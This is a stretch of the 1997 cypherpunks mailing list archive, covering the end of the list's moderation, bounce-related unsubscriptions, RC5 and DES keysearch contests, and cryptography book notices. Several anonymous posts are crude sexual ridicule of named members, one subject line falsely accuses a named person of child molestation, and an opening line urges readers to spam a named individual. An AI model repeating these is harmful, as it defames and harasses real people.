don't want the source code available because I don't want people looking
for security holes.
--END COMPLETE STUPIDITY--

If anyone wants to spam this guy, or at least show him the error of his
ways, his sig explains the necessary info:

David K.
djk490s@nic.smsu.edu


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If the ionization rate is constant for all ectoplasmic entities, we could
really bust some heads! In a spiritual sense, of course.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Mon, 10 Feb 1997 01:59:01 -0800 (PST)
To: "'Sandy Sandfort'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=sandfort+40crl8+2Ecrl+2Ecom+3B@chemson.com>
Subject: RE: MODERATION
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970210095738Z-908@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy writes:
>
>C'punks,
>
>I'm ending my participation in the moderation of the list. 

Well  that was short and ..... errr  bitter!

> It would have been an interesting experiment if list members had 
>been open minded enough to give it a good faith effort. 
              ^^^^^^^^^^^^^^^ 

There's a difference between being open minded and gullible Sandy.
Nothing like ducking and running away when your little game didn't turn
out the way that you wanted it to!

This is not a flame, it is my opinion but none the less I'm sure that it
will end up in the flames list or be conveniently lost in the masses of
mail that John's majordomo receives every day.


Scott.
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Koenig <ig25@mvmap66.ciw.uni-karlsruhe.de>
Date: Mon, 10 Feb 1997 03:26:43 -0800 (PST)
To: challenge@list.ee.ethz.ch (challenge)
Subject: What's next?
Message-ID: <199702101024.LAA08950@mvmap66.ciw.uni-karlsruhe.de>
MIME-Version: 1.0
Content-Type: text/plain


Now that we appear to be at a sustainable 300 MK/sec (which I could
hardly believe at first :-), is there any chance we could be attacking
the 56-bit DES key next?

DES is rumoured to be faster than RC5; also, there are likely to
be optimized assembler versions out there already.

We could also make better use of 64-bit architectures, since DES
uses 64-bit blocks.

However (and this is a very big however), that's still a keyspace of
7.2*10^16 keys to search.  Assuming 10^9 keys/second (three times our
current speed, which may be attainable with a good DES implementation)
that's still a bit over two years; too long by a factor of 10 or so.

Soo....

How fast are current DES implementations?  People could try des.c from
the ssh distribution as a starting point.

How much more computing power could we bring online?

Do people have optimized DES for Alpha, UltraSparc, HP 8000 and all
the other nifty 64-bit architectures?

Does it make sense to use MMX or equivalent for DES?
-- 
Thomas Koenig, Thomas.Koenig@ciw.uni-karlsruhe.de, ig25@dkauni2.bitnet.
The joy of engineering is to find a straight line on a double
logarithmic diagram.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 10 Feb 1997 12:21:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Zero-knowledge commit
Message-ID: <199702102021.MAA10026@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. Mayonnaise sits at his terminal dressed in 
five-inch stiletto heels, fishnet stockings, a 
gold-lame mini-skirt, a purple halter with girdle 
underneath to keep in his flabby gut, a Fredericks of 
Hollywood padded bra also underneath the halter, a 
cheap Naomi Sims pink afro wig, waiting to yank his 
crank whenever a black man responds to one of his inane 
rants.

         \\\
        (0 0)
    _ooO_(_)_Ooo____ Tim C. Mayonnaise





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Mon, 10 Feb 1997 12:26:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE
Message-ID: <199702102025.MAA00859@well.com>
MIME-Version: 1.0
Content-Type: text/plain




                    FOR IMMEDIATE RELEASE

                       6 February 1997


Aegean Park Press proudly announces publication of CLASSICAL
CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols
[LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ]
 
Volume II presents Lectures 11 - 22 (of a total of
twenty five) from his successful course in Classical
Cryptography taught in 1995 and 1996 to 391 students via
the Internet and an additional 65 via regular mail.

Volume II covers polyalphabetic substitutions ciphers in
the Vigenere family (Viggy, Variant, Beaufort, Porta,
Gronsfeld, Portax, Gromark), decimation, principles of
symmetry, isologs and superimposition solution
techniques.  Volume II describes the difficult aperiodic
cipher systems (Interrupted key, Autoclave, Progressive,
Running Key used in cipher machines) and their analysis
by isomorphs, and repetitions. Cryptarithm solutions for
extended bases are presented. The theory of coincidences
and statistical attacks (Kappa, Chi, Phi) derived from
this important theory are detailed.  Transposition
theory and a variety of transposition ciphers are solved
(Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman,
Auto-Transposition).  Volume II has two chapters on the
difficult cipher systems invented by the famous French
cryptographer Delastelle: Foursquare, Bifid and Trifid.
Volume II presents a detailed chapter on passwords, law
and data protection.  Volume II ends with a historical
look at codes, commercial code systems, and famous
cipher machines.  Volume II is a potpourri of advanced
topics in classical cryptography.

The Cryptographic Resources and References section has
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National Defense, INFOSEC: offensive and defensive,
hardware, software, standards, public key cryptography,
web sources, and applicable Senate and House bills.
Readers are encouraged to expand their knowledge in the
many directions possible to them through this section.
 
For orders or Information Contact: Aegean Park Press, P.O.
Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587;
Fax: 1-714-586-8269.  Group discounts available.
 







REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I
By the Honorable David Kennedy, Director of Research,
NCSA.


     Classical Cryptography Course, Volume I.  By
Randall K. Nichols; published by Aegean Park Press,
(714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736
- 3587; 301 pages (with index); $34.80 (American
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     In Classical Cryptography Course, Volume I, author
Randall K. Nichols has created a benchmark for serious
students of the science of cryptography.  This is a
text.  It is for learning, and with it one cannot help
but learn about the foundations of the science.  An
outgrowth of Nichols' admitted "labor of love" in the
online Cryptography Courses he teaches over the
Internet, Volume I creates the foundation for
understanding the development of the science.

     The ten chapters of this volume lead the student
through simple substitutions, substitutions with
variants, multiliteral substitutions, xenocrypts
(foreign language substitutions), cryptarithms, the
Enigma machine (separate Enigma95 program disk available
direct from the author) and finally to polyalphabetic
substitutions.  Seven chapters conclude with problems;
solutions and discussions are provided in an appendix.
The text is indexed with twenty-four pages of references
for further study.

     I found Nichols' sense of the history of
cryptography particularly noteworthy.  The volume is
liberally salted with citations from history with
applications of the methods developed in the text.  From
Revolutionary France through the American Civil War, the
Tammany Hall scandal, Revolutionary Soviet ciphers and
Japanese successes against Chinese codes prior to Pearl
Harbor, the text provides touchstones for student to
understand and relate to.

     Phil Zimmermann observed in the documentation to
his Pretty Good Privacy Program to "Beware of Snake
Oil." Among his arguments is this anecdote:

     I remember a conversation with Brian Snow, a highly
placed senior cryptographer with the NSA.  He said he
would never trust an encryption algorithm designed by
someone who had not "earned their bones" by first
spending a lot of time cracking codes.

     Where Schneier's Applied Cryptography is a crash
course in some encryption protocols and algorithms in
use today, Nichols' text begins the teaching of Snake
Oil detection and prevention.
Learning the fundamentals, developed throughout the
text, brings a richer understanding of the science, it's
history and insight into it's possibilities and some
vulnerabilities lurking for the unwary.

     Nichols plans for release Volume II in the series
with advanced material on from the online course which
includes statistical attacks and transposition in
February, 1997.

Reviewer:  Dave Kennedy, CISSP, is Director of Research
for the National Computer Security Association,
Carlisle, PA.  He is a retired Army military police
officer and member of NCSA, ASIS, ISSA and the Computer
Security Institute.


reposted from cryptography@c2.org

Brian




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: peter.allan@aeat.co.uk (Peter M Allan)
Date: Mon, 10 Feb 1997 04:55:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Codebreakers delivered OK
Message-ID: <9702101255.AA21355@clare.risley.aeat.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Gary,

Thanks for the book, which arrived safely (last week,
when I was on leave and tiling my bathroom).


Cypherpunks,

In mid-December I asked on this list whether people
would recommend buying books from Gary Rasmussen.
    Message-Id: <9612131954.AA28856@clare.risley.aeat.co.uk>
    Subject: Would you send money to Gary Rasmussen ?
I got several replies for, and none against.  Thanks
to those who replied.

I am now pleased to add my data point.  He has sent my copy
of Kahn's Codebreakers.  The delay from mid-December was almost
entirely caused by banking issues.  Money transfers are not as fast
or cheap as I think they should be in 1997.  Gary tells me he may in
future get equipped to take credit cards.

His catalogue contains stuff sure to interest anybody with plenty of time.
Here is his comment:
 > NOTE: An additional benefit of ACA membership is eligibility for discounts
 > on a selection of new (unused) books on the history and practice of 
 > traditional ciphers, codes, and signals intelligence from Classical Crypto
 > Books. For a free catalog, send email to RagyR@aol.com.



 -- Peter Allan    peter.allan@aeat.co.uk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 10 Feb 1997 04:33:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] Elliptic curves
Message-ID: <199702101217.NAA15745@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May's father, an idiot, stumbled 
across Timothy May's mother, an imbecile, 
when she had no clothes on. Nine months later 
she had a little moron.

 /\/\
 \  / Timothy May
  \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 10 Feb 1997 11:20:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting ressource
Message-ID: <v0300781aaf252474ec38@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: leroux@mail.vdl2.ca
Date: Mon, 10 Feb 1997 13:05:08 -0500
To: dcsb@ai.mit.edu
From: Philippe Le Roux <leroux@vdl2.ca>
Subject: Interesting ressource
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Philippe Le Roux <leroux@vdl2.ca>

The IEEE published a special issue of Spectrum
(http://www.spectrum.ieee.org/contents/) about digital commerce and ecash.

This is the index :

Electronic money: toward a virtual wallet
By Tekla S. Perry
Hard currency is disappearing from many everyday transactions along the
road to electronic money.

Future of electronic money: a regulator's perspective
By Edward W. Kelley Jr.
The way electronics will fit into the evolution of money--from acting as a
niche player
to wreaking major changes in payment systems--has yet to be determined.

Credits and debits on the Internet
By Marvin A. Sirbu
CyberCash, First Virtual, GC Tech, NetBill--these and other systems have
been developed to enable electronic transfers of payments across the
Internet.

'Minting' electronic cash
By David Chaum & Stefan Brands
Electronic cash can offer transaction privacy to honest users, affords
convenient storage and transportation, and protects against loss.

Traceable e-cash
By Peter S. Gemmell
One method of making electronic cash transactions private for honest users but
traceable by law enforcement agencies involves the use of trustees.

Crime and prevention: a Treasury viewpoint
By Stanley E. Morris
The speed and anonymity of electronic payment systems make them attractive
to those pursuing illicit activities.

Locking the e-safe
By Robert W. Baldwin & C. Victor Chang
Existing encryption-based security mechanisms can be combined to minimize a
wide range of threats to electronic commerce.

In your pocket: smartcards
By Carol Hovenga Fancher
A wallet full of cash, credit, and identification cards may, in the future,
be replaced
with two or three smartcards, each containing an IC, as a recent flurry of
market
tests and smartcard rollouts demonstrates.

Banking in cyberspace: an investment in itself
By Michael C. McChesney
While home banking has been around for some time, Internet banking is a new
concept, and has a number of advantages.

Technology takes to securities trading
By Steven M. H. Wallman
>From stock offerings conducted entirely over the Internet, to the
automation of traditional exchanges, technology is changing the way stock
markets work.

Nasdaq's technology floor: its president takes stock
By Alfred R. Berkeley III
This screen-based stock market has been particularly sensitive to the
effects of new
computer and communications capabilities.

The economics of e-cash
By Mike Ter Maat
Electronic cash can create profits for its issuers, and launch competition
for today's
government-controlled currency systems.

Money and the Internet: a strange new relationship
By Howard Anderson
This visionary sees the e-money revolution as inevitable, with "e-mail for
money"
becoming as ubiquitous in the future as e-mail messages are already today.


*PLR!

------------------------------------------------------------------------------
Philippe Le Roux
Associe de V(DL)2 Inc.
Membre du SCIP (Society of Competitive Intelligence Professionals)
Co-Auteur d'Internet Secrets (IDG - 95)
Chroniqueur a Benefice.Net

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: Requires PGP version 2.6 or later.

mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs
/C6fMmo47FZIpV6xC/uRBiHVfW5d26AvJz1Ww7EABRG0IVBoaWxpcHBlIExlIFJv
dXggPGxlcm91eEB2ZGwyLmNhPokAVQIFEDLyVpHboC8nPVbDsQEBtwcB/An4zBwC
g9e1lFsVhVgmplxfUYAv3T7D7fAdCTeD51cJjns+Yh/3MoZQa7zns0BQFtRLoInL
HY4WrDBs9wSXZ70=
=tEnk
-----END PGP PUBLIC KEY BLOCK-----

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <ptrei@acm.org>
Date: Mon, 10 Feb 1997 13:49:14 -0800 (PST)
To: coderpunks@toad.com
Subject: Re: RC5-12/32/6 contest solved
Message-ID: <199702101912.LAA25876@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From:          Germano Caronni <caronni@tik.ee.ethz.ch>
> Date:          Mon, 10 Feb 1997 18:52:23 +0100 (MET)
> To:            crypto-challenge@rsa.com
> Cc:            gec@acm.org, challenge@tik.ee.ethz.ch, coderpunks@toad.com
> Subject:       RC5-12/32/6 contest solved

> challenge: RC5-32/12/6
> solution: 74 a3 53 cc 0b 19
> name: Germano Caronni et al.
> address: Germano Caronni
>          Talstrasee 7
>          CH-8102 Oberengstringen
>          (Switzerland)
> email: gec@acm.org
> phone: +41 1 6327006
> time: from start of contest until Mon Feb 10 18:52:23 1997
> method: again, massive distributed coordinated keysearch
> done:

Congratulations! This is the longest symmetric key ever brute forced
in public.

Now, onto cracking DES, which is probably easier than 56 bit RC5.
I have NT/Win95/(portable C) code and executables available to 
US/Canadian citizens in the US/Canada.

If you want a copy (I'm up to version 0.6, a late beta), then
send ptrei@acm.org your: 

1. Real name and residence address.
2. A statement that you are aware of and will abide by the 
   US/Canadian export regulations.
3. A statement that you are a US/Canadian citizen, or a US 
   Green Card holder.
4. The email address to which to send the software.

I will hold this information in confidence.

Peter Trei
trei@process.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 10 Feb 1997 11:48:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nothing Can Stop the Net
Message-ID: <3.0.1.32.19970210145225.025c5d0c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


Mule Power Used to Install Fiber-Optic Cable 

February 10, 1997
11.54 a.m. (1654 GMT)

SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could
get over or around the rugged terrain confronting electricians trying to install
fiber optic cable through the Ozarks. 

So they shifted their sights from high-tech to low-tech and hired Festus, Jake,
Red and I.B. -- four Missouri mules -- to string 40 miles of cable through
southwestern Missouri. 

"Today's thought is `fast and done quick and make the big money,"' said mule
skinner James King, who works the mules for B&L Electrical Contractors. "A
lot of people have forgot the fastest way to get through the country is on a
mule or a horse." 

Even through city traffic, the mules are getting the job done. 

The idea first came about when Empire District Electric Co. was looking for
contractors to install fiber optic cable. The cable was to run along the path of a
power line strung in 1912. More than 80 years later, it was deemed
inaccessible to vehicles in most places because of steep hills, trees or other
impediments, such as chain-link fences. 

B&L submitted a bid based on doing the work with mules. The estimate was
tricky since the company had never used mules. And if they couldn't do the
job, a backup plan would have cost much more. 

"This is extremely rugged terrain. You couldn't get any motorized vehicles in
there," said Clint Lam, manager of B&L. "You could build a road through
there, but cost-wise, it would be so expensive." 

Empire didn't know the estimate was based on mule power. But when they
learned of the idea, it seemed logical, said Darrell Wilson, Empire's
telecommunications foreman. He told colleagues at a recent training seminar
about the mules' success. 

"Everybody thought I was joking," Wilson said. "They thought I meant an
ATV, some mechanical 4-wheel drive. They didn't really think it was a
four-legged animal. They were a little surprised when I said, `No, I mean a real
mule."' 

The mule skinners hook one end of the cable to an overhead pole and knot the
other end to a mule's saddle. Then the animal pulls. 

All-terrain vehicles are prone to tipping on uneven surfaces, while mules are
sure-footed and can jump creeks or chain-link fences. In fact, they worked so
well in the rough stuff, they were kept on even when the line reached
Springfield, the state's third-largest metropolitan area. 

"I think we're going to try to vote in a new position in our contract for mule
skinner," crew foreman John Agee joked. 

Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor
and an expert on mules, was not surprised to learn of the mules' success. 

"The mule will go places, over banks and rough terrain and stand up and be
able to pull that cable through where horses will have trouble," he said. 

Festus, at 1,250 pounds the largest of the crew, drew curious glances from
motorists as he and skinner King recently hauled cable through exhaust-stained
snowbanks near a busy city intersection. Festus wasn't fazed, though he was a
bit trailer-sick from the 30-mile commute from Galena. 

"This is his first day on the job," the hard-hatted King said from the saddle
where he wraps the rope or cable being pulled by the mule. Festus can tow up
to 14,000 feet of cable, a load weighing more than 1 ton. 

Some people who saw the mules at work didn't know exactly what they were,
which King found remarkable. After all, mules were made Missouri's state
animal in 1995. 

"`Look, ma -- it's a horse!"' King said, mimicking what he's heard from
children passing the work crew. "It's a good old Missouri mule." 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phr@netcom.com (Paul Rubin)
Date: Mon, 10 Feb 1997 15:00:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: sci.crypt archive?
Message-ID: <199702102300.PAA06838@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Is anyone on cypherpunks archiving sci.crypt?  I'd be interested
in getting hold of some articles from some years back... thanks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 10 Feb 1997 15:00:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: this has gone on long enough
Message-ID: <199702102300.PAA28316@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


As of sometime in the last 96 hours I have been forcefully unsubscribed from
this list.  This action was not of my free will and not one that I think was
perpretrated by those in charge of the list.  (I got a response from
majordomo concerning who was on and my name wasn't)
As I have heard from, and replied to some, others who were forcefully
subscribed to cypherpunks, I can only assume that this is part of the same
campaign.
Please send me any copies of majordomo activity involving my address that
was sent in the last 96 hours so that I can determine the culprit myself.
I had no intention of removing myself from the list and intend to maintain a
member, at least until a superior system with sufficient load is developed.
As I just now resubscribed to the list (unedited, although I know that the
moderation experiment has ended), I may not see any immediate replies, so
please cc me.
As to my check with majordomo, I was not checking to see if I had been
unsubscribed, but to see if the unedited list still existed.  since I
stopped receiving mail shortly after, I assumed, falsely, that the unedited
list subscribers had been merely dropped.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Feb 1997 14:06:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore sexually molests small children
In-Reply-To: <32FF31A9.2E04@cuckoo.com>
Message-ID: <k7eX2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Cuckoo <cuckoo@cuckoo.com> writes:

>  Cuckoo (<-- Dr. Vulis 'made' me use this name.)

Blaming Sandy Sandfart for his outrageous acts and forgetting about John
Gilmore and Sameer parekh is like blaming Eichmann and forgetting Adolf
Hitler - the great vegetarian, many of whose subordinates said at Nuremberg,
"I was only following my orders!"

Show some compassion, you you. :-) If C2Net folds and/or if Sameer fires
Sandy for blowing the "moderation experiment", Sandy might have difficulty
finding anothr job. Is he on Timmy May's "don't hire" list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 10 Feb 1997 15:13:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: this has gone on long enough
Message-ID: <199702102313.PAA28847@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:00 PM 2/10/97 -0800, I wrote:
>As of sometime in the last 96 hours I have been forcefully unsubscribed from
>this list.  This action was not of my free will and not one that I think was
...
I forgot to check my mail before sending this.  This is not to say that
there was mail there, merely that eudora verifies mail by password.  Since I
had not checked my mail, the last message was unverified.  This is to verify it.
I sent it, I admit it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Mon, 10 Feb 1997 14:57:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: smart cards
Message-ID: <199702102257.PAA15338@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dirtbag Vinegar K]rud[OfTheMoment's obsessive masturbation has
lead to advanced degree of blindness and hairy palms.

   o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
  /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ 
  / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
     Dr.Dirtbag Vinegar K]rud[OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 10 Feb 1997 16:43:03 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>, gnu
Subject: Re: this has gone on long enough
In-Reply-To: <Pine.SUN.3.91.970210150613.20916B-100000@crl.crl.com>
Message-ID: <199702110042.QAA02191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach said:
> As of sometime in the last 96 hours I have been forcefully unsubscribed from
> this list.  This action was not of my free will and not one that I think was
> perpretrated by those in charge of the list.

Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
epidemic on the list these days.

I removed your address from the mailing list because it was producing
a bounce message for every message to cypherpunks.  I regularly 
remove addresses when this occurs; the alternative is to receive
thousands of bounce messages each day from non-working addresses.
I'll append the set of addresses that I removed on the same day
as you, for your edification.

I'll also enclose one of the bounces.

If you fix your mail so it doesn't bounce, you are welcome to
re-subscribe.

	John Gilmore

1997/2/9 - gnu - bounces
snowdog@iconn.net (cp-ann)
se03565@els.url.es (cp-ann)
drjarmon@ingr.com (cp-ann)
ycz@alpha4.cs.nthu.edu.tw
yu123110@yorku.ca
bishop.trish@sympatico.ca
106076.1155@compuserve.com (by request)
security@harter.pg.md.us
omega@bigeasy.com
roach_s@alph.swosu.edu (cp-unedited)
lupus@hempseed.com (cp-ann)
THRPWC@smtpgate.lfwc.lockheed.com
al.tan@usa.net
vickeryk@tyrell.net
crash@eramp.net
phreaker@scholars.bellevue.edu
alexc@firefly.net
malaficia@mindspring.com
BadAppleDH@aol.com
otsge_mail@usa.net (for bounces re mecca_inc@msn.se)
under@ground.net


>From MAILER-DAEMON Sun Feb  9 20:03:36 1997
Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST)
Message-Id: <199702100403.UAA17045@toad.com>
Date:     Sun, 9 Feb 1997 22:03:48 -0600 (CST)
From: Postmaster@alph.swosu.edu
Subject:  Undeliverable Mail
To: <cypherpunks-errors@toad.com>

Bad address -- <roach_s>
Error -- Message too old: 
    %MAIL-E-SENDERR, error sending to user ROACH_S
    -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI
    -RMS-E-EXT, ACP file extend failed
    -SYSTEM-F-EXDISKQUOTA, disk quota exceeded
    -PLI-F-NOMSG, Message number 001EBB8C

Start of returned message

  Received: from toad.com by alph.swosu.edu with SMTP;
            Sun, 9 Feb 1997 18:03:43 -0600 (CST)
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  Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250])
            by mail.pacifier.com (8.8.5/8.8.4) with SMTP
  	  id PAA12294 for <cypherpunks@toad.com>; Sun, 9 Feb 1997 15:55:23 -0800 (PST)
  Message-Id: <199702092355.PAA12294@mail.pacifier.com>
  X-Sender: jimbell@mail.pacifier.com
  X-Mailer: Windows Eudora Light Version 1.5.2
  Mime-Version: 1.0
  Content-Type: text/plain; charset="us-ascii"
  Date: Sun, 09 Feb 1997 15:53:43 -0800
  To: cypherpunks@toad.com
  From: jim bell <jimbell@pacifier.com>
  Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
  Sender: owner-cypherpunks@toad.com
  Precedence: bulk
  
  I'm forwarding this from the commonlaw list because of the usage of the 
  name, "cypherpunks."
  ...  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 11 Feb 1997 03:37:57 -0800 (PST)
To: 2ndSun@bigfoot.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <855658890.66224.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> You're giong to have to find a way to get me off of your piss-ant mailing
> list.

Ecouter et repeter: "going"
                              
Now, if you didn`t have shit for brains you would have followed the 
instructions I sent you last time on how to unsubscribe from the 
cypherpunks mailing list. However, as you evidently have no wit or 
intelligence whatsoever, nor do you seem able to comprehend 
anything phrased in standard English here are the instructions in 
moron.


To unsubscribe from the piss-ant motherfuckers mailing list you are 
giong to have to dooo teh folwoing:

Send a piss-ant message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks 2ndsun@bigfoot.com

Either this or contact postmaster@bigfoot.com and ask him to mailkill 
all mailing list traffic for you.





  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Mon, 10 Feb 1997 10:08:59 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: New X-Ray Imager
Message-ID: <19970210180856.27779.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Feb 1997, Igor Chudov @ home wrote:

> Let's remember though that perception of security applies not
> only to passengers, but also to potential terrorists. If they *think*
> that they would not be able to bring a bomb easily, they would be less
> inclined to do so.

Do you seriously believe that a terrorist who wishes to take an explosive
device on board a plane fears the security of an airport? It's not
possible to put such a thought into anyone but a prole; we are not proles,
and they are not proles. The real effect and intent is obvious.

--3bmice





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 10 Feb 1997 18:22:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: PRNG
Message-ID: <199702110222.SAA29362@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Here, Timmy Mayo descends into total inanity. He should have a 
cold shower and/or a Turkish coffee.

       ----
      '@  *> Timmy Mayo
      |\   7
     / `-- _





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 10 Feb 1997 18:25:59 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: this has gone on long enough
Message-ID: <199702110225.SAA04917@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:42 PM 2/10/97 -0800, John Gilmore wrote:
>Sean Roach said:
>> As of sometime in the last 96 hours I have been forcefully unsubscribed from
>> this list.  This action was not of my free will and not one that I think was
>> perpretrated by those in charge of the list.
>
>Everybody relax, take a deep breath, and calm down a bit.  Paranoia seems
>epidemic on the list these days.
>
>I removed your address from the mailing list because it was producing
>a bounce message for every message to cypherpunks.  I regularly 
>remove addresses when this occurs; the alternative is to receive
>thousands of bounce messages each day from non-working addresses.
>I'll append the set of addresses that I removed on the same day
>as you, for your edification.
>
Thank you for the explanation.  I had discounted this as a reason as I
normally get some warning from the VAX before something like this would be a
threat.  (My mail won't compress and I have to go in and do it manually.)  I
had assumed that since I had no trouble with compression that that wasn't
the answer.  I apologise for jumping to conclusions and I hope that I can
check my mail more often.  (Only a real hassle during weekends when I am
called home from school.)
Thanks again for the reassurance.

BTW, now that the moderation experiment is over, how do you intend to
integrate the lists?  Are you going to combine them?  Are you going to run
them through a filter to eliminate duplications?  Are you going to give any
warning before the unedited list is eliminated?  (no longer needed, since
the main list is now a duplicate.)

Thanks again, I am naturally suspicious.  That's "one" of the reasons that I
subscribed to this list to begin with.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 10 Feb 1997 20:00:10 -0800 (PST)
To: Ed.Falk@Eng.Sun.COM (Ed Falk)
Subject: Re: lead remailer is shut down
In-Reply-To: <199702071958.LAA18779@peregrine.eng.sun.com>
Message-ID: <3.0.1.32.19970210183230.002ed8f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 AM 2/7/97 -0800, Ed Falk wrote:
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

